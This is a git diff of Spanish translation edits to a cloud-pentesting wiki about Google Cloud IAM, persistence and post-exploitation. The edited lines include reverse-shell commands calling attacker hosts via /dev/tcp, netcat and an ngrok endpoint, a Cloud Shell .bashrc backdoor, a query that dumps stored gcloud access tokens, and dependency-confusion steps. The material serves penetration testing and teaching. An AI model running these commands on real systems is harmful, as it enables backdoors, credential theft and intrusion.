<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Grupo</strong></td><td><strong>Función</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(se requieren cuentas de grupo o individuales para la lista de verificación)</em></td><td>Administrar cualquier recurso que pertenezca a la organización. Asigna este rol con moderación; los administradores de la organización tienen acceso a todos tus recursos de Google Cloud. Alternativamente, dado que esta función tiene privilegios altos, considera usar cuentas individuales en lugar de crear un grupo.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(requerido para la lista de verificación)</em></td><td>Crear redes, subredes, reglas de firewall y dispositivos de red como Cloud Router, Cloud VPN y balanceadores de carga en la nube.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(requerido para la lista de verificación)</em></td><td>Configurar cuentas de facturación y monitorear su uso.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(requerido para la lista de verificación)</em></td><td>Diseñar, codificar y probar aplicaciones.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Establecer y gestionar políticas de seguridad para toda la organización, incluyendo gestión de acceso y <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">políticas de restricciones de organización</a>. Consulta la <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">guía de fundamentos de seguridad de Google Cloud</a> para más información sobre la planificación de tu infraestructura de seguridad en Google Cloud.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Crear o gestionar pipelines de extremo a extremo que soporten integración y entrega continuas, monitoreo y aprovisionamiento de sistemas.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(ya no por defecto)</em></td><td>Monitorear el gasto en proyectos. Los miembros típicos son parte del equipo de finanzas.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(ya no por defecto)</em></td><td>Revisar información de recursos a través de la organización de Google Cloud.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(ya no por defecto)</em></td><td>Revisar la seguridad en la nube.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(ya no por defecto)</em></td><td>Revisar configuraciones de red.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(ya no por defecto)</em></td><td>Ver registros de auditoría.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(ya no por defecto)</em></td><td>Administrar el Centro de Comando de Seguridad.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(ya no por defecto)</em></td><td>Gestionar secretos en Secret Manager.</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Grupo</strong></td><td><strong>Función</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(se requieren cuentas de grupo o individuales para la lista de verificación)</em></td><td>Administrar cualquier recurso que pertenezca a la organización. Asigna este rol con moderación; los administradores de la organización tienen acceso a todos tus recursos de Google Cloud. Alternativamente, dado que esta función tiene privilegios altos, considera usar cuentas individuales en lugar de crear un grupo.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(requerido para la lista de verificación)</em></td><td>Crear redes, subredes, reglas de firewall y dispositivos de red como Cloud Router, Cloud VPN y balanceadores de carga en la nube.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(requerido para la lista de verificación)</em></td><td>Configurar cuentas de facturación y monitorear su uso.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(requerido para la lista de verificación)</em></td><td>Diseñar, codificar y probar aplicaciones.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Establecer y gestionar políticas de seguridad para toda la organización, incluyendo gestión de acceso y <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">políticas de restricciones de organización</a>. Consulta la <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">guía de fundamentos de seguridad de Google Cloud</a> para más información sobre la planificación de tu infraestructura de seguridad en Google Cloud.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Crear o gestionar pipelines de extremo a extremo que soporten integración y entrega continua, monitoreo y aprovisionamiento de sistemas.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(ya no por defecto)</em></td><td>Monitorear el gasto en proyectos. Los miembros típicos son parte del equipo de finanzas.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(ya no por defecto)</em></td><td>Revisar información de recursos a través de la organización de Google Cloud.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(ya no por defecto)</em></td><td>Revisar la seguridad en la nube.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(ya no por defecto)</em></td><td>Revisar configuraciones de red.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(ya no por defecto)</em></td><td>Ver registros de auditoría.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(ya no por defecto)</em></td><td>Administrar el Centro de Comando de Seguridad.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(ya no por defecto)</em></td><td>Gestionar secretos en Secret Manager.</td></tr></tbody></table>
## **Política de Contraseñas Predeterminada**
@@ -142,7 +142,7 @@ Cuando se crea una organización, se **sugiere encarecidamente crear varios grup
## **Cuentas de servicio**
Estos son los principales que **los recursos** pueden **tener** **adjuntos** y acceso para interactuar fácilmente con GCP. Por ejemplo, es posible acceder al **token de autenticación** de una Cuenta de Servicio **adjunta a una VM** en los metadatos.\
Estas son los principales que **los recursos** pueden **tener** **adjuntos** y acceso para interactuar fácilmente con GCP. Por ejemplo, es posible acceder al **token de autenticación** de una Cuenta de Servicio **adjunta a una VM** en los metadatos.\
Es posible encontrar algunos **conflictos** al usar tanto **IAM como scopes de acceso**. Por ejemplo, tu cuenta de servicio puede tener el rol de IAM de `compute.instanceAdmin`, pero la instancia que has comprometido ha sido limitada con la restricción de scope de `https://www.googleapis.com/auth/compute.readonly`. Esto te impediría hacer cualquier cambio usando el token OAuth que se asigna automáticamente a tu instancia.
Es similar a **los roles de IAM de AWS**. Pero a diferencia de AWS, **cualquier** cuenta de servicio puede ser **adjunta a cualquier servicio** (no necesita permitirlo a través de una política).
@@ -169,7 +169,7 @@ Hay 2 formas principales de acceder a GCP como una cuenta de servicio:
Los alcances de acceso están **adjuntos a los tokens OAuth generados** para acceder a los puntos finales de la API de GCP. **Restringen los permisos** del token OAuth.\
Esto significa que si un token pertenece a un Propietario de un recurso pero no tiene en el alcance del token acceso a ese recurso, el token **no puede ser utilizado para (ab)usar esos privilegios**.
Google de hecho [recomienda](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) que **no se utilicen alcances de acceso y que se confíe totalmente en IAM**. El portal de gestión web de hecho hace cumplir esto, pero los alcances de acceso aún se pueden aplicar a instancias utilizando cuentas de servicio personalizadas programáticamente.
Google en realidad [recomienda](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) que **no se utilicen alcances de acceso y se confíe totalmente en IAM**. El portal de gestión web en realidad hace cumplir esto, pero los alcances de acceso aún se pueden aplicar a instancias utilizando cuentas de servicio personalizadas programáticamente.
Puedes ver qué **alcances** están **asignados** consultando:
```bash
@@ -186,7 +186,7 @@ curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>
"access_type": "offline"
}
```
Los **alcances** anteriores son los que se generan por **defecto** utilizando **`gcloud`** para acceder a datos. Esto se debe a que cuando usas **`gcloud`** primero creas un token de OAuth y luego lo usas para contactar los endpoints.
Los **alcances** anteriores son los generados por **defecto** usando **`gcloud`** para acceder a datos. Esto se debe a que cuando usas **`gcloud`** primero creas un token de OAuth y luego lo usas para contactar los endpoints.
El alcance más importante de esos potencialmente es **`cloud-platform`**, que básicamente significa que es posible **acceder a cualquier servicio en GCP**.
@@ -204,13 +204,13 @@ gcloud auth application-default print-access-token
# To use this token with some API you might need to use curl to indicate the project header with --header "X-Goog-User-Project: <project-name>"
```
## **Políticas, Vinculaciones y Membresías de IAM en Terraform**
## **Políticas, Vínculos y Membresías de IAM en Terraform**
Como se define en terraform en [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam), al usar terraform con GCP hay diferentes formas de otorgar acceso a un principal sobre un recurso:
- **Membresías**: Estableces **principales como miembros de roles** **sin restricciones** sobre el rol o los principales. Puedes poner un usuario como miembro de un rol y luego poner un grupo como miembro del mismo rol y también establecer esos principales (usuario y grupo) como miembros de otros roles.
- **Vinculaciones**: Varios **principales pueden estar vinculados a un rol**. Esos **principales aún pueden estar vinculados o ser miembros de otros roles**. Sin embargo, si un principal que no está vinculado al rol se establece como **miembro de un rol vinculado**, la próxima vez que se **aplique la vinculación, la membresía desaparecerá**.
- **Políticas**: Una política es **autoritativa**, indica roles y principales y luego, **esos principales no pueden tener más roles y esos roles no pueden tener más principales** a menos que esa política sea modificada (ni siquiera en otras políticas, vinculaciones o membresías). Por lo tanto, cuando un rol o principal se especifica en la política, todos sus privilegios están **limitados por esa política**. Obviamente, esto puede ser eludido en caso de que al principal se le dé la opción de modificar la política o permisos de escalada de privilegios (como crear un nuevo principal y vincularlo a un nuevo rol).
- **Membresías**: Estableces **principales como miembros de roles** **sin restricciones** sobre el rol o los principales. Puedes poner a un usuario como miembro de un rol y luego poner a un grupo como miembro del mismo rol y también establecer esos principales (usuario y grupo) como miembros de otros roles.
- **Vínculos**: Varios **principales pueden estar vinculados a un rol**. Esos **principales aún pueden estar vinculados o ser miembros de otros roles**. Sin embargo, si un principal que no está vinculado al rol se establece como **miembro de un rol vinculado**, la próxima vez que se **aplique el vínculo, la membresía desaparecerá**.
- **Políticas**: Una política es **autoritativa**, indica roles y principales y luego, **esos principales no pueden tener más roles y esos roles no pueden tener más principales** a menos que esa política sea modificada (ni siquiera en otras políticas, vínculos o membresías). Por lo tanto, cuando un rol o principal se especifica en la política, todos sus privilegios están **limitados por esa política**. Obviamente, esto puede ser eludido en caso de que al principal se le dé la opción de modificar la política o permisos de escalada de privilegios (como crear un nuevo principal y vincularlo a un nuevo rol).
## Referencias

View File

@@ -65,7 +65,7 @@ gcloud iam service-accounts add-iam-policy-binding $saId \
> [!WARNING]
> Nota cómo en el miembro anterior estamos especificando el **`org-name/repo-name`** como condiciones para poder acceder a la cuenta de servicio (otros parámetros que la hacen **más restrictiva** como la rama también podrían ser utilizados).
>
> Sin embargo, también es posible **permitir que todos en github accedan** a la cuenta de servicio creando un proveedor como el siguiente usando un comodín:
> Sin embargo, también es posible **permitir que todo github acceda** a la cuenta de servicio creando un proveedor como el siguiente usando un comodín:
<pre class="language-bash"><code class="lang-bash"># Crear un Pool de Identidad de Carga de Trabajo
poolName=wi-pool2
@@ -99,7 +99,7 @@ providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
</strong></code></pre>
> [!WARNING]
> En este caso, cualquiera podría acceder a la cuenta de servicio desde github actions, por lo que es importante siempre **verificar cómo está definido el miembro**.\
> En este caso, cualquiera podría acceder a la cuenta de servicio desde github actions, por lo que es importante siempre **verificar cómo se define el miembro**.\
> Siempre debería ser algo como esto:
>
> `attribute.{custom_attribute}`:`principalSet://iam.googleapis.com/projects/{project}/locations/{location}/workloadIdentityPools/{pool}/attribute.{custom_attribute}/{value}`

View File

@@ -1,6 +1,6 @@
# GCP - Permissions for a Pentest
# GCP - Permisos para un Pentest
Si quieres hacer un pentest en un entorno de **GCP**, necesitas pedir suficientes permisos para **verificar todos o la mayoría de los servicios** utilizados en **GCP**. Idealmente, deberías pedir al cliente que cree:
Si deseas realizar un pentest en un entorno de **GCP**, necesitas solicitar suficientes permisos para **verificar todos o la mayoría de los servicios** utilizados en **GCP**. Idealmente, deberías pedir al cliente que cree:
* **Crear** un **nuevo proyecto**
* **Crear** una **Cuenta de Servicio** dentro de ese proyecto (obtener **credenciales json**) o crear un **nuevo usuario**.
@@ -13,7 +13,7 @@ roles/viewer
roles/resourcemanager.folderViewer
roles/resourcemanager.organizationViewer
```
APIs para habilitar (desde starbase):
APIs a habilitar (desde starbase):
```
gcloud services enable \
serviceusage.googleapis.com \

View File

@@ -1,10 +1,10 @@
# GCP - Persistencia de App Engine
# GCP - Persistencia en App Engine
{{#include ../../../banners/hacktricks-training.md}}
## App Engine
Para más información sobre App Engine, consulta:
Para más información sobre App Engine consulta:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -16,6 +16,6 @@ Si pudieras modificar el código de una versión en ejecución o crear una nueva
### Persistencia de versiones antiguas
**Cada versión de la aplicación web se va a ejecutar**, si encuentras que un proyecto de App Engine está ejecutando varias versiones, podrías **crear una nueva** con tu **código de backdoor**, y luego **crear una nueva legítima** para que la última sea la legítima, pero habrá una **versión con backdoor también en ejecución**.
**Cada versión de la aplicación web se va a ejecutar**, si encuentras que un proyecto de App Engine está ejecutando varias versiones, podrías **crear una nueva** con tu código de **backdoor**, y luego **crear una nueva legítima** para que la última sea la legítima, pero habrá una **backdoored también en ejecución**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Persistencia del Registro de Artefactos
# GCP - Persistencia en el Registro de Artefactos
{{#include ../../../banners/hacktricks-training.md}}
## Registro de Artefactos
Para más información sobre el Registro de Artefactos, consulta:
Para más información sobre el Registro de Artefactos consulta:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -12,14 +12,14 @@ Para más información sobre el Registro de Artefactos, consulta:
### Confusión de Dependencias
- ¿Qué sucede si se **mezclan un repositorio remoto y uno estándar** en uno virtual y un paquete existe en ambos?
- ¿Qué sucede si se **mezclan repositorios remotos y estándar** en uno virtual y un paquete existe en ambos?
- Se utiliza el que tiene la **prioridad más alta establecida en el repositorio virtual**
- Si la **prioridad es la misma**:
- Si la **versión** es la **misma**, se utiliza el **nombre de la política alfabéticamente** primero en el repositorio virtual
- Si no, se utiliza la **versión más alta**
> [!CAUTION]
> Por lo tanto, es posible **abusar de una versión más alta (confusión de dependencias)** en un registro de paquetes público si el repositorio remoto tiene una prioridad más alta o igual
> Por lo tanto, es posible **abusar de una versión más alta (confusión de dependencias)** en un registro de paquetes público si el repositorio remoto tiene una prioridad más alta o la misma
Esta técnica puede ser útil para **persistencia** y **acceso no autenticado**, ya que para abusar de ella solo se requiere **conocer el nombre de una biblioteca** almacenada en el Registro de Artefactos y **crear esa misma biblioteca en el repositorio público (PyPi para python, por ejemplo)** con una versión más alta.
@@ -28,12 +28,12 @@ Para persistencia, estos son los pasos que debes seguir:
- **Requisitos**: Debe **existir** un **repositorio virtual** y ser utilizado, se debe usar un **paquete interno** con un **nombre** que no exista en el **repositorio público**.
- Crea un repositorio remoto si no existe
- Agrega el repositorio remoto al repositorio virtual
- Edita las políticas del registro virtual para dar una prioridad más alta (o igual) al repositorio remoto.\
- Edita las políticas del registro virtual para dar una prioridad más alta (o la misma) al repositorio remoto.\
Ejecuta algo como:
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
- Descarga el paquete legítimo, agrega tu código malicioso y regístralo en el repositorio público con la misma versión. ¡Cada vez que un desarrollador lo instale, instalará el tuyo!
Para más información sobre la confusión de dependencias, consulta:
Para más información sobre la confusión de dependencias consulta:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/dependency-confusion

View File

@@ -4,7 +4,7 @@
## BigQuery
Para más información sobre BigQuery, consulta:
Para más información sobre BigQuery consulta:
{{#ref}}
../gcp-services/gcp-bigquery-enum.md

View File

@@ -12,7 +12,7 @@ Para más información sobre Cloud Run, consulta:
### Revisión con puerta trasera
Crea una nueva revisión con puerta trasera de un Servicio Run y divide algo de tráfico hacia ella.
Crea una nueva revisión con puerta trasera de un Servicio Run y divide algo de tráfico hacia él.
### Servicio Accesible Públicamente

View File

@@ -12,9 +12,9 @@ Para más información, consulta:
### Puerta trasera persistente
[**Google Cloud Shell**](https://cloud.google.com/shell/) te proporciona acceso a la línea de comandos a tus recursos en la nube directamente desde tu navegador sin ningún costo asociado.
[**Google Cloud Shell**](https://cloud.google.com/shell/) te proporciona acceso a línea de comandos a tus recursos en la nube directamente desde tu navegador sin ningún costo asociado.
Puedes acceder a Cloud Shell de Google desde la **consola web** o ejecutando **`gcloud cloud-shell ssh`**.
Puedes acceder al Cloud Shell de Google desde la **consola web** o ejecutando **`gcloud cloud-shell ssh`**.
Esta consola tiene algunas capacidades interesantes para los atacantes:
@@ -22,7 +22,7 @@ Esta consola tiene algunas capacidades interesantes para los atacantes:
2. Dicha instancia **mantendrá su directorio personal durante al menos 120 días** si no ocurre ninguna actividad.
3. No hay **capacidades para que una organización monitoree** la actividad de esa instancia.
Esto básicamente significa que un atacante puede colocar una puerta trasera en el directorio personal del usuario y, siempre que el usuario se conecte a GC Shell al menos cada 120 días, la puerta trasera sobrevivirá y el atacante obtendrá un shell cada vez que se ejecute simplemente haciendo:
Esto significa básicamente que un atacante puede colocar una puerta trasera en el directorio personal del usuario y, siempre que el usuario se conecte al GC Shell al menos cada 120 días, la puerta trasera sobrevivirá y el atacante obtendrá un shell cada vez que se ejecute simplemente haciendo:
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
@@ -33,13 +33,13 @@ apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
```
> [!WARNING]
> Es importante tener en cuenta que la **primera vez que se realiza una acción que requiere autenticación**, aparece una ventana de autorización emergente en el navegador del usuario. Esta ventana debe ser aceptada antes de que el comando pueda ejecutarse. Si aparece una ventana emergente inesperada, podría generar sospechas y potencialmente comprometer el método de persistencia que se está utilizando.
> Es importante tener en cuenta que la **primera vez que se realiza una acción que requiere autenticación**, aparece una ventana de autorización emergente en el navegador del usuario. Esta ventana debe ser aceptada antes de que se pueda ejecutar el comando. Si aparece una ventana emergente inesperada, podría generar sospechas y potencialmente comprometer el método de persistencia que se está utilizando.
Esta es la ventana emergente al ejecutar `gcloud projects list` desde el cloud shell (como atacante) vista en la sesión del navegador del usuario:
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
Sin embargo, si el usuario ha utilizado activamente el cloudshell, la ventana emergente no aparecerá y puedes **recolectar tokens del usuario con**:
Sin embargo, si el usuario ha utilizado activamente el cloudshell, la ventana emergente no aparecerá y puedes **recopilar tokens del usuario con**:
```bash
gcloud auth print-access-token
gcloud auth application-default print-access-token
@@ -50,7 +50,7 @@ Básicamente, se utilizan estas 3 llamadas a la API:
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (te hará agregar tu clave pública que creaste localmente)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (te hará iniciar la instancia)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (te dirá la ip del google cloud shell)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (te dirá la IP del google cloud shell)
Pero puedes encontrar más información en [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)

View File

@@ -1,4 +1,4 @@
# GCP - Cloud SQL Persistence
# GCP - Persistencia de Cloud SQL
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -13,7 +13,7 @@ Para más información sobre Compute y VPC (Redes) consulta:
### Persistencia abusando de Instancias y copias de seguridad
- Puerta trasera en VMs existentes
- Puerta trasera en imágenes de disco y instantáneas creando nuevas versiones
- Puerta trasera en imágenes de disco y snapshots creando nuevas versiones
- Crear una nueva instancia accesible con un SA privilegiado
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -36,7 +36,7 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
**Mientras se está construyendo, obtendrás un reverse shell** (podrías abusar de las variables de entorno como en el ejemplo anterior o de otros parámetros que configuran el archivo Docker para ejecutar cosas arbitrarias). En este momento, dentro del reverse shell, es posible **ir al directorio `/template` y modificar el código del script principal en python que se ejecutará (en nuestro ejemplo, este es `getting_started.py`)**. Establece tu backdoor aquí para que cada vez que se ejecute el trabajo, se ejecute.
**Mientras se está construyendo, obtendrás un shell reverso** (podrías abusar de las variables de entorno como en el ejemplo anterior u otros parámetros que configuran el archivo Docker para ejecutar cosas arbitrarias). En este momento, dentro del shell reverso, es posible **ir al directorio `/template` y modificar el código del script principal en python que se ejecutará (en nuestro ejemplo, este es `getting_started.py`)**. Coloca tu puerta trasera aquí para que cada vez que se ejecute el trabajo, se ejecute.
Luego, la próxima vez que se ejecute el trabajo, se ejecutará el contenedor comprometido construido:
```bash

View File

@@ -1,10 +1,10 @@
# GCP - Persistencia de Filestore
# GCP - Persistencia en Filestore
{{#include ../../../banners/hacktricks-training.md}}
## Filestore
Para más información sobre Filestore, consulta:
Para más información sobre Filestore consulta:
{{#ref}}
../gcp-services/gcp-filestore-enum.md

View File

@@ -1,4 +1,4 @@
# GCP - Token Persistance
# GCP - Persistencia de Tokens
{{#include ../../../banners/hacktricks-training.md}}
@@ -8,7 +8,7 @@ Para obtener el **token actual** de un usuario, puedes ejecutar:
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
Consulta en esta página cómo **usar este token directamente usando gcloud**:
Verifica en esta página cómo **usar este token directamente usando gcloud**:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1
@@ -45,7 +45,7 @@ Puedes encontrar todos los alcances de Google en [https://developers.google.com/
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
Es posible ver qué scopes la aplicación que **`gcloud`** utiliza para autenticarse puede soportar con este script:
Es posible ver qué alcances la aplicación que **`gcloud`** utiliza para autenticarse puede soportar con este script:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -71,12 +71,12 @@ es interesante ver cómo esta aplicación soporta el **`drive`** scope, lo que p
### Cuentas de Servicio
Al igual que con los usuarios autenticados, si logras **comprometer el archivo de clave privada** de una cuenta de servicio podrás **acceder a ella generalmente tanto tiempo como desees**.\
Sin embargo, si robas el **token de OAuth** de una cuenta de servicio esto puede ser aún más interesante, porque, incluso si por defecto estos tokens son útiles solo por una hora, si la **víctima elimina la clave API privada, el token de OAuth seguirá siendo válido hasta que expire**.
Al igual que con los usuarios autenticados, si logras **comprometer el archivo de clave privada** de una cuenta de servicio, podrás **acceder a ella generalmente tanto tiempo como desees**.\
Sin embargo, si robas el **token de OAuth** de una cuenta de servicio, esto puede ser aún más interesante, porque, incluso si por defecto estos tokens son útiles solo por una hora, si la **víctima elimina la clave API privada, el token de OAuth seguirá siendo válido hasta que expire**.
### Metadatos
Obviamente, mientras estés dentro de una máquina que se ejecute en el entorno de GCP podrás **acceder a la cuenta de servicio adjunta a esa máquina contactando el endpoint de metadatos** (ten en cuenta que los tokens de OAuth a los que puedes acceder en este endpoint suelen estar restringidos por scopes).
Obviamente, mientras estés dentro de una máquina que se ejecute en el entorno de GCP, podrás **acceder a la cuenta de servicio adjunta a esa máquina contactando el endpoint de metadatos** (ten en cuenta que los tokens de OAuth a los que puedes acceder en este endpoint suelen estar restringidos por scopes).
### Remediaciones

View File

@@ -4,13 +4,13 @@
## Secret Manager
Encuentra más información sobre el Secret Manager en:
Encuentra más información sobre Secret Manager en:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
{{#endref}}
### Uso indebido de la rotación
### Mal uso de la rotación
Un atacante podría actualizar el secreto para:

View File

@@ -4,7 +4,7 @@
## `App Engine`
Para obtener información sobre App Engine, consulta:
Para información sobre App Engine consulta:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md

View File

@@ -1,4 +1,4 @@
# GCP - Registro de Artefactos Post Explotación
# GCP - Post Explotación del Registro de Artefactos
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# GCP - Cloud Build Post Explotación
# GCP - Post Explotación de Cloud Build
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# GCP - Cloud Functions Post Explotación
# GCP - Explotación Posterior de Cloud Functions
{{#include ../../../banners/hacktricks-training.md}}
@@ -23,7 +23,7 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
Si la Función en la Nube está gestionando información sensible que los usuarios están enviando (por ejemplo, contraseñas o tokens), con suficientes privilegios podrías **modificar el código fuente de la función y exfiltrar** esta información.
Además, las Funciones en la Nube que se ejecutan en python utilizan **flask** para exponer el servidor web, si de alguna manera encuentras una vulnerabilidad de inyección de código dentro del proceso de flaks (una vulnerabilidad SSTI, por ejemplo), es posible **sobrescribir el controlador de la función** que va a recibir las solicitudes HTTP por una **función maliciosa** que puede **exfiltrar la solicitud** antes de pasarla al controlador legítimo.
Además, las Funciones en la Nube que se ejecutan en python utilizan **flask** para exponer el servidor web, si de alguna manera encuentras una vulnerabilidad de inyección de código dentro del proceso de flaks (una vulnerabilidad SSTI, por ejemplo), es posible **sobrescribir el manejador de la función** que va a recibir las solicitudes HTTP por una **función maliciosa** que puede **exfiltrar la solicitud** antes de pasarla al manejador legítimo.
Por ejemplo, este código implementa el ataque:
```python
@@ -52,7 +52,6 @@ else:
return "Hello World!"
# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

View File

@@ -12,7 +12,7 @@ Para más información sobre Cloud Run consulta:
### Acceder a las imágenes
Si puedes acceder a las imágenes del contenedor, revisa el código en busca de vulnerabilidades e información sensible codificada. También busca información sensible en las variables de entorno.
Si puedes acceder a las imágenes del contenedor, revisa el código en busca de vulnerabilidades e información sensible codificada. También busca información sensible en variables de entorno.
Si las imágenes están almacenadas en repositorios dentro del servicio Artifact Registry y el usuario tiene acceso de lectura sobre los repositorios, también podría descargar la imagen de este servicio.

View File

@@ -49,7 +49,7 @@ Si deseas usar tu instancia de google cloud shell como proxy, necesitas ejecutar
```bash
sudo apt install -y squid
```
Solo para que lo sepas, Squid es un servidor proxy http. Crea un **squid.conf** archivo con la siguiente configuración:
Crea un **squid.conf** archivo con la siguiente configuración:
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
@@ -68,9 +68,9 @@ Usa ngrok para que el proxy esté disponible desde afuera:
```bash
./ngrok tcp 3128
```
Después de ejecutar, copia la url tcp://. Si deseas ejecutar el proxy desde un navegador, se sugiere eliminar la parte tcp:// y el puerto, y colocar el puerto en el campo de puerto de la configuración del proxy de tu navegador (squid es un servidor proxy http).
Después de ejecutar, copia la url tcp://. Si deseas ejecutar el proxy desde un navegador, se sugiere eliminar la parte tcp:// y el puerto, y poner el puerto en el campo de puerto de la configuración del proxy de tu navegador (squid es un servidor proxy http).
Para un mejor uso al inicio, el archivo .bashrc debe tener las siguientes líneas:
Para un mejor uso al inicio, el archivo .bashrc debería tener las siguientes líneas:
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/

View File

@@ -54,7 +54,7 @@ Las copias de seguridad pueden contener **información sensible antigua**, por l
```bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
```
Para hacerlo de una manera más sigilosa, se recomienda crear una nueva instancia de SQL y recuperar los datos allí en lugar de en las bases de datos que se están ejecutando actualmente.
Para hacerlo de una manera más sigilosa, se recomienda crear una nueva instancia de SQL y recuperar los datos allí en lugar de en las bases de datos que están en funcionamiento actualmente.
### `cloudsql.backupRuns.delete`
@@ -64,7 +64,7 @@ gcloud sql backups delete <backup-id> --instance <instance-id>
```
### `cloudsql.instances.export`, `storage.objects.create`
**Exportar una base de datos** a un Cloud Storage Bucket para que puedas acceder a ella desde allí:
**Exportar una base de datos** a un Bucket de Cloud Storage para que puedas acceder a ella desde allí:
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

View File

@@ -1,4 +1,4 @@
# GCP - Compute Post Exploitation
# GCP - Compute Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
@@ -50,7 +50,7 @@ gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
y luego crear una nueva VM a partir de ella:
y luego crea una nueva VM a partir de ella:
```bash
